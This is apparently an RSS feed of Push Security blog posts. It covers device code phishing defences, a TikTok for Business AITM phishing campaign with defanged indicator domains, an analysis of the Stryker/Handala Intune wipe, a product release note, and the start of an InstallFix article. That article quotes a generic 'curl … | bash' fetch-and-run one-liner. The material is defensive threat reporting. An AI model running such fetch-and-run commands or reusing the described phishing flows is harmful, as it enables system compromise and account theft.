exploits the authorization code flow with localhost redirects rather than the device code flow — produce the same access tokens with the same capabilities but are not blocked by device code flow specific CA policies. </p><p>For other apps, you’re mainly limited to monitoring and response. Ensuring you’re getting authentication logs for these apps is vital, and searching for unusual access patterns (e.g. unusual login protocols, having different IPs for the authorization grant and subsequent account activity). </p><hr/><h1><b>How Push Security can help</b></h1><p>Push customers can use our browser-based capabilities to overcome the limitations of app-level controls and detect, intercept, and shut down attacks in real time. </p><p>Our research team is already tracking multiple device code phishing campaigns and toolkits, including the EvilTokens kit. Blocking controls are already in place to prevent customers from interacting with malicious pages that match our detections for these new toolkits, ensuring that these pages can be identified and blocked in real time regardless of the infrastructure. </p><p>Using Push you can also <a href="https://pushsecurity.com/help/can-i-use-push-to-help-protect-against-device-code-phishing-scenarios/"><u>configure in-browser warnings</u></a> whenever a user accesses a URL used for device code logins. This provides universal, last-mile protection against even ‘zero-day’ device code phishing attacks using previously unidentified toolkits.  </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/2Gtct2qofWtLLVi31Pk8NY/616e56fc4fa7dcb905a0a3a1ca28709b/image17.png" alt="DCP warning banner"/><figcaption>Users visiting a device code login page will be required to click through a warning banner, emitting a webhook event.</figcaption></figure><p>When a user visits those URLs, Push will also emit a webhook event that the banner was shown and acknowledged. If a user opts to proceed, you can treat this as a high-fidelity alert for your security team to investigate, providing app-agnostic telemetry that may not already be provided in your logs from that particular vendor. You can also simply use Push to block users from accessing device login pages if you’re confident that disruption won’t be caused. </p><h2><b>Learn more about Push</b></h2><p>Push Security&#39;s browser-based security platform detects and blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking. You don&#39;t need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your attack surface.</p><p>To learn more about Push, <a href="https://pushsecurity.com/resources/product-brochure"><u>check out our latest product overview</u></a>, <a href="https://pushsecurity.com/product-demo/"><u>view our demo library</u></a>, or <a href="https://pushsecurity.com/demo"><u>book some time with one of our team for a live demo</u></a>.</p>]]></content:encoded>
    </item>
    <item>
      <title>Attackers are now targeting business TikTok accounts using session-stealing phishing kits</title>
      <link>https://pushsecurity.com/blog/tiktok-phishing</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/tiktok-phishing</guid>
      <pubDate>Thu, 26 Mar 2026 00:00:00 GMT</pubDate>
      <dc:creator>Dan Green</dc:creator>
      <category>Browser-based attacks</category>
      <category>Detection &amp; response</category>
      <description>Investigating a new wave of AITM phishing pages designed to hijack TikTok accounts.</description>
      <content:encoded><![CDATA[<p>We recently detected and blocked a new style of phishing page targeting TikTok for Business accounts — used by company marketing teams to manage ad campaigns. </p><p>On closer analysis, we identified a cluster of linked pages featuring both TikTok themes, and Google themed “Schedule a Call” imitation pages, <a href="https://sublime.security/blog/google-careers-impersonation-credential-phishing-scam-with-endless-variation/"><u>similar to a campaign reported late last year</u></a>, suggesting a continuity of this previous campaign.</p><p>We’ve <a href="https://pushsecurity.com/blog/google-search-malvertising-campaign-continues-now-impersonating-ahrefs/"><u>reported extensively</u></a> about malvertising scams in the past — particularly targeting Google Ad Manager accounts. Attackers take over Ad Manager accounts and use them to deploy even more malicious ads, harvesting account credentials via AITM phishing pages and ClickFix-style malware delivery (dropping infostealers and remote access tools). They also run <a href="https://pushsecurity.com/blog/cyber-criminal-ecosystem-analysis/"><u>ad fraud campaigns</u></a> siphoning company ad budgets into their own pockets. </p><hr/><h1><b>Campaign breakdown</b></h1><p>Push researchers have identified a cluster of newly registered phishing pages all registered on the 24th March within a 9-second window. All of the pages are hosted behind Cloudflare with the same registrar (Nicenic International Group, commonly abused for bulk phishing domain registration). </p><p>The pages feature a common naming convention, being various derivations of welcome.careers*[.]com. A full list of identified domains is provided later, but we expect this to grow significantly as the campaign ramps up. </p><p>Victims are tricked into clicking a malicious link that takes them to one of two page styles. </p><ul><li><p>A TikTok for Business cloned page </p></li><li><p>A Google careers “Schedule a call” cloned page</p></li></ul><p>In both cases, the victim is required to complete a basic information form before being served with a malicious login page that is in fact fronting a reverse proxy AITM phishing kit. </p><p>While Push has limited visibility of the initial delivery mechanism in this case, we can assume that a similar method of dynamically generated email is being used to the <a href="https://sublime.security/blog/google-careers-impersonation-credential-phishing-scam-with-endless-variation/"><u>previously identified campaign</u></a> reported by Sublime in October, featuring a similar Google Careers cloned page. </p><p>You can see an example of the page load below. </p><h2><b>Attack flow</b></h2><p>When the link is first clicked, the page is silently redirected from a legitimate Google Storage site before loading the page. A Cloudflare Turnstile check is used to prevent security bots from analyzing the page, before loading either a TikTok or Google themed page. Progressing through the forms ultimately serves up an AITM phishing page.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/5WAwawK6I0Ez56HE9icvO4/6ad8fedf0c6b72b29b1664ea854593be/image8.png" alt="Push example detection timeline showing the initial redirect. In this example Push was configured to Monitor only mode, rather than Block mode."/><figcaption>Push example detection timeline showing the initial redirect. In this example Push was configured to Monitor only mode, rather than Block mode.</figcaption></figure><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/28rZywTFT0ro4dhWPCfwAJ/6a8342f9bb785db5ed8677939921645d/image6.png" alt="Initial Cloudflare Turnstile bot check to block security bots from analyzing the page."/><figcaption>Initial Cloudflare Turnstile bot check to block security bots from analyzing the page.</figcaption></figure><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/7uoSoE5xwXEBA3tCIOReTX/3e8b06e18097f8625f3edaa92ba770d1/image2.png" alt="TikTok for Business themed page."/><figcaption>TikTok for Business themed page.</figcaption></figure><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/5NQmzcYtnsqONZFMljk1Z8/354a8721f4c2195c1aa88b3258a073f1/image1.png" alt="Google Careers themed landing page."/><figcaption>Google Careers themed landing page.</figcaption></figure><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/5rDbxr6ZkcbGv2f6opf6TE/c6997fa3fe50426dae17c6578e2c04f1/image4.png" alt="TikTok for Business themed login page.  The fake page has replaced the “Log in with TikTok” button with “Log in with Google”. "/><figcaption>TikTok for Business themed login page.  The fake page has replaced the “Log in with TikTok” button with “Log in with Google”.</figcaption></figure><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/1ba6sQzfR3hjeQHyx8zjae/f588da1242c68ea03ee149d489ee272e/image7.png" alt="The TikTok login page has input validation that requires a business email address."/><figcaption>The TikTok login page has input validation that requires a business email address.</figcaption></figure><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/6aGrOKJBuwAPalVYgx4P9u/41a456ba585767c6af8637bab392cabf/image5.png" alt="Cloned Google login page hosting an AITM phishing kit."/><figcaption>Cloned Google login page hosting an AITM phishing kit.</figcaption></figure><hr/><h1><b>Why TikTok???</b></h1><p>Given that the majority of phishing pages intercepted by Push tend to replicate core SSO platforms like Google and Microsoft, targeting TikTok is a notable development, though not entirely uncommon. </p><p>TikTok seems a weird choice at first glance. But it makes more sense when we consider that TikTok has been historically abused to distribute malicious links and social engineering instructions. </p><p>This includes multiple infostealers like Vidar, StealC, and Aura Stealer delivered via ClickFix-style instructions with AI-generated videos posed as activation guides for Windows, Spotify, and CapCut. They instructed viewers to open PowerShell and paste commands that downloaded infostealers from bulletproof hosting infrastructure. <a href="https://thehackernews.com/2025/05/hackers-use-tiktok-videos-to-distribute.html"><u>One video alone</u></a> hit ~500,000 views and 20,000+ likes.</p><p>It’s also a common hunting ground for crypto scammers, like many other social platforms have historically been abused (most commonly Twitter/X). Many of these are done with the full knowledge and consent of “influencers”, but there are also overtly malicious examples such as <a href="https://www.bitdefender.com/en-us/blog/hotforsecurity/fake-elon-musk-crypto-giveaway-scam-campaigns-run-rampant-on-tiktok"><u>deepfaked videos of Elon Musk</u></a> with overlaid AI-generated audio promoting fake exchanges. <a href="https://www.malwarebytes.com/blog/news/2025/10/tiktok-scam-sells-you-access-to-your-own-fake-money"><u>TikTok DMs</u></a>, like <a href="https://pushsecurity.com/blog/new-phishing-campaign-identified-targeting-linkedin-users/"><u>other social media apps</u></a>, are also a place where attackers can target victims. </p><p>Ultimately, it’s easy to see how access to verified and trustworthy business accounts on TikTok could be abused in the wrong hands. </p><p>It’s worth pointing out too that many/most business users will opt to “log in with Google.” This means that anyone using Google to login to their TikTok account will effectively have both accounts used to distribute ads compromised in one go, opening up the typical <a href="https://pushsecurity.com/blog/cyber-criminal-ecosystem-analysis/"><u>Google Ad Manager exploitation playbook</u></a> — as well as accessing any further apps accessible via SSO for data theft and extortion. This has become the standard MO for attackers, in campaigns such as the <a href="https://pushsecurity.com/blog/unpacking-the-latest-slh-campaign/"><u>Scattered Lapsus$ Hunters AITM phishing</u></a> spree earlier this year, and their <a href="https://www.bleepingcomputer.com/news/security/hackers-target-microsoft-entra-accounts-in-device-code-vishing-attacks/"><u>recent spate of device code phishing attacks</u></a>.</p><hr/><h1><b>IoCs</b></h1><p>Short-lived IoCs are of limited value when tackling modern phishing attacks due to the rate at which attackers are able to <a href="https://phishing-techniques.pushsecurity.com/techniques/domain-rotation-redirection/"><u>quickly spin up and rotate the sites used</u></a> in the attack chain, often dynamically serving different URLs to site visitors. </p><p>That said, the domains observed in the initial cluster were:</p><ul><li><p>welcome.careerscrews[.]com</p></li><li><p>welcome.careerstaffer[.]com</p></li><li><p>welcome.careersworkflow[.]com</p></li><li><p>welcome.careerstransform[.]com</p></li><li><p>welcome.careersupskill[.]com</p></li><li><p>welcome.careerssuccess[.]com</p></li><li><p>welcome.careersstaffgrid[.]com</p></li><li><p>welcome.careersprogress[.]com</p></li><li><p>welcome.careersgrower[.]com</p></li><li><p>welcome.careersengage[.]com</p></li><li><p>welcome.careerscrews[.]com</p></li></ul><p>Since the pages are all hosted in a single Google Storage bucket, any linked pages/files should be considered to be malicious.</p><ul><li><p>storage.googleapis[.]com/fiz2a4s014vt8q4l5i0m1m7b0gl/</p></li></ul><p><b>Push customers do not need to take any further action.</b></p><hr/><h1><b>About Push Security</b></h1><p>Regardless of the delivery channel, whether it&#39;s a phishing email, a malvertising lure, or a fake install page, all roads lead to a web page loaded in the user&#39;s browser, and that&#39;s where Push operates.</p><p>Push Security&#39;s browser-based security platform detects and blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking. You don&#39;t need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your attack surface.</p><p>To learn more about Push, <a href="https://pushsecurity.com/resources/product-brochure"><u>check out our latest product overview</u></a>, <a href="https://pushsecurity.com/product-demo/"><u>view our demo library</u></a>, or <a href="https://pushsecurity.com/demo"><u>book some time with one of our team for a live demo</u></a>.</p><p></p>]]></content:encoded>
    </item>
    <item>
      <title>The Stryker breach didn't match the playbook. That shouldn't be a surprise.</title>
      <link>https://pushsecurity.com/blog/stryker-handala-report</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/stryker-handala-report</guid>
      <pubDate>Thu, 19 Mar 2026 00:00:00 GMT</pubDate>
      <dc:creator>Dan Green</dc:creator>
      <category>Browser-based attacks</category>
      <category>Detection &amp; response</category>
      <description>Analysing the Stryker breach in line with recent changes to the Iran-nexus cyber playbook.</description>
      <content:encoded><![CDATA[<p>On the morning of March 11, employees at Stryker Corporation offices across 79 countries turned on their laptops and found them wiped and unusable. Personal phones enrolled in the company&#39;s BYOD program had been factory reset overnight, taking photos, banking apps, and authenticator tokens with them. Login pages had also been defaced with the logo of Handala, a persona operated by Iran&#39;s Ministry of Intelligence and Security (MOIS).</p><p>Handala is a public-facing &quot;faketivist&quot; persona, also known as Handala Hack Team, Void Manticore, Storm-0842, Dune, Red Sandstorm, and Banished Kitten. The group also operates under regional personas like Karma and Homeland Justice. We&#39;ll refer to them as Handala in this piece.</p><p>In a break from the standard Handala playbook, there was no ransomware, no malware, and no exploit chain. The attacker <a href="https://www.bleepingcomputer.com/news/security/stryker-attack-wiped-tens-of-thousands-of-devices-no-malware-needed/">simply logged into Microsoft Intune</a> with compromised Global Administrator credentials, abused a legitimate feature, and wiped over 80,000 systems, servers, and mobile devices.</p><hr/><h1><b>What a Handala attack was supposed to look like</b></h1><p>Handala has a reputation for being a manual, hands-on intrusion team whose TTPs have typically included VPN credential brute-force for initial access (hundreds of logon attempts from commercial VPN nodes), supply chain compromise via managed service providers, RDP as the primary lateral movement method, ADRecon for Active Directory enumeration, LSASS credential dumping via comsvcs.dll, and GPO logon scripts for wiper distribution.</p><p>If you had invested in detection logic around Handala&#39;s documented toolkit (BiBi Wiper file extensions, Cl Wiper&#39;s EldoS RawDisk driver calls, No-Justice partition table manipulation, Karma Shell&#39;s Base64-with-XOR web shell patterns) none of it would have fired. Wiper malware signatures, web shell indicators, RawDisk driver loading, MBR/GPT manipulation, SharePoint exploitation patterns, anomalous RDP/SMB lateral movement: all reasonable detection priorities given the group&#39;s threat intelligence profile, but all irrelevant when it mattered most.</p><hr/><h1><b>What Handala actually did</b></h1><p>The Stryker attack departs from the documented baseline across the kill chain.</p><table><tr><th><p><b>Kill chain phase</b></p></th><th><p><b>Historical TTP</b></p></th><th><p><b>Stryker TTP</b></p></th></tr><tr><td><p>Initial access</p></td><td><p>VPN credential brute-force, supply chain compromise of managed service providers and IT vendors, spearphishing with wiper delivery, exploitation of SharePoint and Windows server vulnerabilities</p></td><td><p>Identity compromise targeting Microsoft Entra ID</p></td></tr><tr><td><p>Persistence</p></td><td><p>Web shells (Karma Shell, reGeorg)</p></td><td><p>Global Administrator access to cloud tenant, no persistence mechanism needed</p></td></tr><tr><td><p>Lateral movement</p></td><td><p>RDP, SMB, FTP, Mimikatz</p></td><td><p>None required, Intune console provides global reach from a single session</p></td></tr><tr><td><p>Impact</p></td><td><p>Custom wiper malware (BiBi, Cl Wiper, No-Justice, Hatef)</p></td><td><p>Microsoft Intune Remote Wipe, a legitimate built-in administrative feature</p></td></tr></table><p>An organization with detections built around malware signatures, file system manipulation, and anomalous process execution would be unprepared for an attack with zero malware artifacts, where every action was a legitimate administrative command.</p><p>But while the methods were different, the core objective — mass destruction of data — is entirely consistent with previous campaigns, just through a legitimate management plane rather than custom malware.</p><hr/><h1><b>The kill chain looks different now</b></h1><p>The attack path was devastatingly simple. It didn&#39;t require lateral movement because there was nothing to move laterally through. It didn&#39;t require privilege escalation because they directly compromised a global administrator account. Every device managed by Intune was already within reach.</p><p>The traditional network-centric kill chain collapses into: compromise identity, access management plane, execute objective.</p><p>This is not specific to Iran-aligned actors. Russian groups are leveraging AITM phishing kits and abusing Microsoft 365 OAuth tokens via consent attacks. Scattered Spider built an operational model around social engineering and SSO account takeover. And now Handala has demonstrated that a nation-state destructive operation can be executed entirely by abusing legitimate enterprise tooling.</p><p>This kind of attack is more direct, faster to execute, and carries a significantly lower barrier to entry. You don&#39;t need custom malware and exploit development when you can log in using as-a-Service kits or partner with an access brokering specialist.</p><hr/><h1><b>The big picture of Iranian cyber TTPs</b></h1><p>Iran&#39;s offensive cyber capability is split between two rival intelligence bureaucracies. The Ministry of Intelligence and Security (MOIS) runs groups like APT34, MuddyWater, Scarred Manticore, and Void Manticore (Handala), which tend toward long-dwell espionage and coordinated destructive operations, often using a <a href="https://research.checkpoint.com/2024/bad-karma-no-justice-void-manticore-destructive-activities-in-israel/">documented dual-actor handoff model</a> where Scarred Manticore conducts stealthy espionage before handing targets to Void Manticore (Handala) for destruction.</p><p>The Islamic Revolutionary Guard Corps (IRGC) runs a wider set of groups, including APT33/Peach Sandstorm, APT35/Charming Kitten, APT42, Tortoiseshell/Imperial Kitten, Cotton Sandstorm, and CyberAv3ngers. IRGC groups cover espionage, destructive attacks, influence operations, election interference, ICS targeting across U.S. water and wastewater facilities), and individual surveillance.</p><h2><b>IRGC groups have already shifted to identity-first TTPs</b></h2><p>On the IRGC side, the shift toward identity-centric operations is well-documented:</p><ul><li><p><b>APT33/Peach Sandstorm</b> shifted decisively toward credential-based initial access starting in early 2023, with Microsoft <a href="https://www.microsoft.com/en-us/security/blog/2023/09/14/peach-sandstorm-password-spray-campaigns-enable-intelligence-collection-at-high-value-targets/">documenting</a> large-scale password spray campaigns targeting thousands of organizations, <a href="https://www.bleepingcomputer.com/news/security/iranian-hackers-breach-defense-orgs-in-password-spray-attacks/">Golden SAML</a> attacks for persistent cloud access, and the use of <a href="https://www.microsoft.com/en-us/security/blog/2024/08/28/peach-sandstorm-deploys-new-custom-tickler-malware-in-long-running-intelligence-gathering-operations/">fraudulent Azure subscriptions</a> for C2 infrastructure.</p></li><li><p><b>APT42</b>, <a href="https://cloud.google.com/blog/topics/threat-intelligence/untangling-iran-apt42-operations">assessed by Mandiant to operate on behalf of the IRGC-IO, </a>has made credential harvesting and MFA bypass its core competency, operating almost entirely within cloud environments post-compromise and <a href="https://cloud.google.com/blog/topics/threat-intelligence/apt42-charms-cons-compromises">registering its own Microsoft Authenticator</a> on compromised accounts for persistent access.</p></li><li><p><b>APT35</b> (aka Imperial Kitten/Tortoiseshell) was observed <a href="https://www.crowdstrike.com/explore/2026-global-threat-report?utm_medium=org">targeting cloud identities in November 2025</a>, deploying the Evilginx2 AitM toolkit against Microsoft 365 users in Israel.</p></li><li><p><b>CrustyKrill</b> (TA455/Smoke Sandstorm) <a href="https://www.crowdstrike.com/explore/2026-global-threat-report?utm_medium=org">uses fake Google Meet and Microsoft Teams pages</a> with a live operator intercepting 2FA codes in real time, alongside Azure Web Apps for C2.</p></li></ul><p>A <a href="https://media.defense.gov/2024/Oct/16/2003565317/-1/-1/0/CSA-IRAN-CYBER-BRUTE-FORCE-CRITICAL-INFRASTRUCTURE-ORGS.PDF">joint advisory from six nations</a> (FBI, CISA, NSA, CSE, AFP, ASD, advisory AA24-290A, October 2024) confirmed the pattern at the government level, documenting Iranian actors using brute force, password spraying, and MFA push bombing to compromise critical infrastructure accounts since October 2023, and assessing that the actors sell this access on cybercriminal forums.</p><h2><b>MOIS groups are changing their approach too</b></h2><p>On the MOIS side, the documented TTP baseline has historically centred on custom malware, network-level persistence, and exploitation of on-premises infrastructure. But identity compromise, particularly credential theft, has been a consistent thread across broader MOIS groups too:</p><ul><li><p><b>APT34 (OilRig) </b>built its reputation on DNS tunnelling and custom backdoors, but its initial access methods include spearphishing and fake VPN portals for credential harvesting. Its 2024 campaigns introduced <a href="https://www.trendmicro.com/en_us/research/24/j/earth-simnavaz-cyberattacks.html">password filter DLLs</a> registered at the domain controller level to intercept plaintext credentials during password change events, with the <a href="https://www.bleepingcomputer.com/news/security/oilrig-hackers-now-exploit-windows-flaw-to-elevate-privileges/">STEALHOOK backdoor</a> exfiltrating stolen domain credentials via compromised Exchange servers. Cloud-based downloaders leveraging OneDrive and Microsoft Graph API were active against Israeli targets from 2022 to 2024.</p></li><li><p><b>APT39 (Chafer) </b>operated through the <a href="https://home.treasury.gov/news/press-releases/sm1127">sanctioned front company Rana Intelligence Computing</a>, focuses on surveillance and tracking of individuals, using credential harvesting through spoofed airline and telecom domains across 30+ countries.</p></li><li><p><b>MuddyWater</b>, confirmed by a <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-055a">joint CISA/FBI/NSA/NCSC advisory</a> as a subordinate element of MOIS, functions as an initial access broker within the ecosystem. Its operations rely on spearphishing and abuse of legitimate RMM tools, but the group has developed <a href="https://thehackernews.com/2025/12/iran-linked-hackers-hits-israeli_2.html">dedicated credential stealers</a> including CE-Notes (which bypasses Chrome&#39;s app-bound encryption), Blub (a multi-browser credential extractor), and LP-Notes (fake Windows Security dialogs to capture system credentials). A parallel campaign documented by <a href="https://www.group-ib.com/blog/muddywater-espionage/">Group-IB</a> found the group deploying a custom Chromium credential stealer alongside its Phoenix backdoor.</p></li><li><p><b>Lyceum (Hexane)</b> overlaps operationally with APT34 and uses password spraying and brute-force attacks for initial access, and notably probed Albanian government infrastructure ahead of Handala destructive attacks in 2022, illustrating the collaborative model across MOIS groups.</p></li></ul><p>Check Point has also <a href="https://research.checkpoint.com/2026/iranian-mois-actors-the-cyber-crime-connection/">documented</a> a broader pattern of MOIS actors engaging directly with the criminal ecosystem, including Handala&#39;s adoption of the Rhadamanthys commercial infostealer and Iranian-affiliated operators working through the Qilin ransomware-as-a-service infrastructure.</p><p>So, the Stryker attack path is operationally consistent with the direction the Iranian threat ecosystem has been moving, even though it departs from Handala&#39;s own documented TTPs. Many of Handala&#39;s previous methods — targeting managed service providers and IT vendors, malware spearphishing, VPN credential stuffing — can also be repurposed in identity-focused social engineering attacks, particularly when boosted with widely available tools already powering criminal campaigns.</p><hr/><h1><b>The problem with over-indexing on TTPs</b></h1><p>Threat intelligence has real value. Attributing campaigns to named groups, mapping their techniques to MITRE ATT&amp;CK, and generating detection rules gives defenders a meaningful starting point. The problem is treating a specific actor&#39;s historical TTP catalogue as the primary basis for detection logic, rather than combining it with the broader trends in attacker behaviour visible across the entire landscape.</p><p>Operators are creative and pragmatic. If the path of least resistance is a compromised admin credential and a legitimate MDM feature, no serious attacker is going to deploy custom wiper malware instead because that&#39;s what they used last time.</p><p>If your threat model says you&#39;re a plausible target for an Iranian threat group, and the trend data tells you that identity compromise is the most common initial access method across all actors, the rational response is to evaluate your controls aligned to identity-based initial access, not just deploy signatures for BiBi Wiper. When the specific actor profile crowds out the general trend data, you end up building defences against the last attack and leaving yourself exposed to the shift that every actor is going through.</p><hr/><h1><b>Evaluating the security guidance</b></h1><p>In the wake of the breach, industry guidance has settled around enforcing phishing-resistant MFA on privileged accounts, implementing just-in-time privilege activation via <a href="https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-configure">PIM</a>, enabling <a href="https://learn.microsoft.com/en-us/intune/intune-service/fundamentals/multi-admin-approval">Multi Admin Approval </a>for high-risk Intune operations, configuring anomaly alerting on bulk device actions, and segregating administrative identities from everyday user accounts. This is all sound advice, but these recommendations are designed to limit what an attacker can do <i>after</i> an account has already been compromised — introducing friction, but not blocking them entirely.</p><p>The detection challenges compound this. Entra ID sign-in logs and <a href="https://www.a6n.co.uk/2025/11/tracking-device-wipes-in-microsoft.html">Intune audit logs exist in separate systems</a> with separate correlation IDs. Tracing a sign-in to a subsequent device action requires deliberate log integration that many organizations haven&#39;t implemented. The <a href="https://learn.microsoft.com/en-us/intune/intune-service/fundamentals/monitor-audit-logs">logs do record</a> &quot;wipe ManagedDevice&quot; events, but may not be linked to real-time alerting. And the underlying action, Intune&#39;s Remote Wipe, is a legitimate feature used routinely in enterprise IT. Again, the attack could have succeeded even with these in place.</p><p>In a world where a compromised account can be rapidly exploited, it&#39;s vital to focus on improving detection and prevention as early as possible in the kill chain — combating initial access techniques themselves.</p><hr/><h1><b>Closing thoughts</b></h1><p>The Stryker attack reflects what attackers everywhere — from financially motivated criminal groups to more destructive nation-state operators — are already doing. Identity-based initial access, abuse of legitimate tools and services, and living-off-the-land execution are the current standard operating procedure.</p><p>Even with a perfectly hardened environment, most public breaches today involve attackers hijacking SSO mechanisms to move into connected applications, exfiltrating data for resale or extortion, and in some cases leveraging cloud services and admin platforms to deploy ransomware (the Scattered Spider playbook of dropping ransomware via VMware management portal being a well-documented example).</p><p>The majority of attackers will have no interest in destructively wiping an Intune environment — that&#39;s difficult to monetize. But the techniques that enabled the Stryker wipe are the same as those that enable financially motivated breaches at scale, pointing to a challenge that extends well beyond Iran-nexus threat actors and MDM hardening.</p><hr/><h1><b>About Push Security</b></h1><p>Push Security&#39;s browser-based security platform provides comprehensive detection and response capabilities against the leading cause of breaches. Push blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking. You don&#39;t need to wait until it all goes wrong — you can also use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your identity attack surface.</p><p>To learn more about Push, <a href="https://pushsecurity.com/resources/product-brochure">check out our latest product overview</a>, <a href="https://pushsecurity.com/product-demo/">view our demo library</a>, or <a href="https://pushsecurity.com/demo">book some time with one of our team for a live demo</a>.</p>]]></content:encoded>
    </item>
    <item>
      <title>Product release: March 2026</title>
      <link>https://pushsecurity.com/blog/product-release-march-2026</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/product-release-march-2026</guid>
      <pubDate>Tue, 10 Mar 2026 00:00:00 GMT</pubDate>
      <dc:creator>Andy Waugh</dc:creator>
      <category>Release notes</category>
      <description>Here’s what’s new on the Push platform for March 2026.</description>
      <content:encoded><![CDATA[<h1>What&#39;s new this month:</h1><ul><li><p>Detect malicious browser extensions</p></li><li><p>Create a blocklist or allowlist for browser extensions</p></li><li><p>Block ClickFix-style attacks and collect payloads for investigation</p></li><li><p>Custom branding for employee-facing banners and block pages</p></li><li><p>Collect additional metadata to support threat detection</p></li><li><p>And a few other things … </p></li></ul><h1>Detect malicious extensions</h1><p>Push can now detect and block malicious browser extensions found in your environment. </p><p>Push maintains a global list of malicious extensions based on our own threat research and publicly available threat intelligence. When an extension in your environment matches a malicious extension ID, Push will raise a detection on the <b>Detections</b> page of the Push admin console. You can also configure the control to warn or block users automatically.</p><p>To enable malicious extension detection, go to the <b>Controls</b> page in the Push admin console. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/2OhoXumfBK0saT2oLeCPrI/95950149e4c7f11c53948ba0cf0b09b5/malicious_ext_det_controls_pg.png" alt="Malicious extension detection - Controls page - for release notes"/></figure><p><a href="https://pushsecurity.com/help/10148#start">Learn more</a></p><h1>Create a blocklist or allowlist for browser extensions</h1><p>You can also block unwanted extensions or allowlist only the extensions you want in your environment, using Push’s <b>Browser extension blocking</b> control.</p><p>End-users will see a block page if they attempt to enable a blocked extension or install one via the Chrome or Microsoft extension stores.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/3i6Sj2jgOimCqGtpKy1B7p/3cc3e6b1e9f0b7c61565f3b3f7974844/extension_block_branded_20260420.png" alt="Browser extension block screen - KB 10138"/></figure><p><a href="https://pushsecurity.com/help/10138#start">Learn more</a></p><h1>Block ClickFix-style attacks and collect payloads for investigation</h1><p>You can now block ClickFix-style malicious copy and paste attacks using Push. These are one of the <a href="https://pushsecurity.com/blog/introducing-malicious-copy-paste-detection">fastest-growing</a> browser-based attacks. You can also choose to collect the payload for your security team to investigate.</p><p>From the Push admin console, go to <b>Controls &gt; Malicious copy and paste detection</b>. Then create a configuration rule to select the <b>Mode</b> and <b>Scope</b>. If you’ve enabled payload collection, Push will collect the malicious payload and include it in the detection event.</p><p><a href="https://pushsecurity.com/help/10141#start">Learn more</a></p><h1>Custom branding for employee-facing banners and block pages</h1><p>Customize the look and feel of employee-facing banners and warn or block pages by adding your company logo, accent color, and choice of light or dark mode themes. </p><p>To add your brand elements, go to <b>Settings &gt; Branding</b>.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/F8v8jKH2SXlMeHbG83Nvh/2b7c51c8bbb2ad74947f4a2bcee3048b/midscreen_dark_banner.png" alt="Branded banner example - dark style - KB 10147"/><figcaption>Example of a dark style mid-screen banner</figcaption></figure><p><a href="https://pushsecurity.com/help/10147#start">Learn more</a></p><h1>Collect additional metadata to support threat detection</h1><p>The Push browser extension can now collect additional metadata and store it locally for up to 30 days, powering more diverse and precise detections, including for emerging threats. </p><p>Detections informed by this metadata will be raised on the <b>Detections</b> page. Note that these detections do not block end-user activity and are <b>Monitor</b> mode only.</p><p>We recommend you enable <b>Browser event storage</b> to take advantage of this capability. Go to <b>Settings &gt; Telemetry &gt; Browser event storage</b> in the admin console.</p><p><a href="https://pushsecurity.com/help/10146#start">Learn more</a></p><h1>And a few other things ...</h1><p>Other new features or improvements to the platform include:</p><ul><li><p>You can now configure the frequency with which app banners will be displayed: either per-tab or per-browser. <a href="/help/10125#frequency">Learn more</a></p></li><li><p>You can now define an Owner role as part of Push’s RBAC options. Only Owners can edit roles, delete your team (e.g. tenant), change default SAML roles, or update your team name.</p></li><li><p>Webhook events now include detection details, for greater context. <a href="https://pushsecurity.com/help/audience/engineering/webhooks-v1/detections">Learn more</a></p></li><li><p>Push now uses static IP addresses to emit webhook events. These IP addresses are in the same range we previously used, but if you wish to update your network filtering to these new, narrower IP addresses, you can. <a href="https://pushsecurity.com/help/audience/engineering/webhooks-v1/section/ip-addresses">Learn more</a></p></li></ul><p></p>]]></content:encoded>
    </item>
    <item>
      <title>InstallFix: How attackers are weaponizing malvertised install guides  </title>
      <link>https://pushsecurity.com/blog/installfix</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/installfix</guid>
      <pubDate>Fri, 06 Mar 2026 00:00:00 GMT</pubDate>
      <dc:creator>Jacques Louw</dc:creator>
      <category>Browser-based attacks</category>
      <category>Detection &amp; response</category>
      <description>Attackers are impersonating popular developer tools like Claude Code to distribute fake install instructions via malicious search engine ads.</description>
      <content:encoded><![CDATA[<p><b>Update March 16:</b> We&#39;ve identified a number of additional InstallFix pages targeting both the Claude Code docs page (as opposed to the quickstart guide) and NotebookLM, a research and note taking tool from Google. New IoCs have been added accordingly, but this campaign is moving very quickly, so the list won&#39;t stay up to date for long. </p><p>There was a time, not that long ago, when pasting a command from a website straight into your terminal was something you’d only try once before some grizzled senior engineer beat it out of you. That’s because you’re effectively handing a website a blank cheque to execute whatever it wants on your system.</p><p>But somehow, it’s now the default. Homebrew, Rust, nvm, Bun, oh-my-zsh and hundreds of the most widely used developer tools on the planet now ship with the same instructions. Copy a “curl to bash” ( curl https://some.website | bash) one-liner from a website, paste it into your terminal, and hit enter. The entire security model boils down to &quot;trust the domain.&quot; And with AI adoption encouraging more non-technical users to work with the kind of tools that only devs used to use, this suddenly becomes a threat to a much larger, less security conscious pool of users.</p><p><b>It’s not hard to see how attackers can exploit this. 